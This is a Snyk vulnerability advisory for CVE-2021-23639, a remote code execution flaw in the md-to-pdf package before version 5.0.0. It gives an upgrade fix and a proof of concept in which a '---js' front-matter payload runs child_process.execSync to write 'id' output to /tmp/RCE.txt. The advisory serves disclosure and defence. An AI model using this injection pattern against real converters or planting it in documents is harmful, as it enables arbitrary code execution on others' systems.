Remote Code Execution (RCE) Affecting md-to-pdf package, versions <5.0.0


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
2.35% (90th percentile)

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  • Snyk IDSNYK-JS-MDTOPDF-1657880
  • published8 Dec 2021
  • disclosed23 Sept 2021
  • creditOscar Arnflo

Introduced: 23 Sep 2021

CVE-2021-23639  (opens in a new tab)
CWE-94  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade md-to-pdf to version 5.0.0 or higher.

Overview

md-to-pdf is a CLI tool for converting Markdown files to PDF.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to utilizing the library gray-matter to parse front matter content, without disabling the JS engine.

PoC:


//Before running poc.js:

$ cat /tmp/RCE.txt

cat: /tmp/RCE.txt: No such file or directory

//After running poc.js

$ node poc.js

$ cat /tmp/RCE.txt

uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)

poc.js:


const { mdToPdf } = require('md-to-pdf');

var payload = '---js\n((require("child_process")).execSync("id > /tmp/RCE.txt"))\n---RCE';

(async () => { await mdToPdf({ content: payload }, { dest: './output.pdf' }); })();

CVSS Scores

version 3.1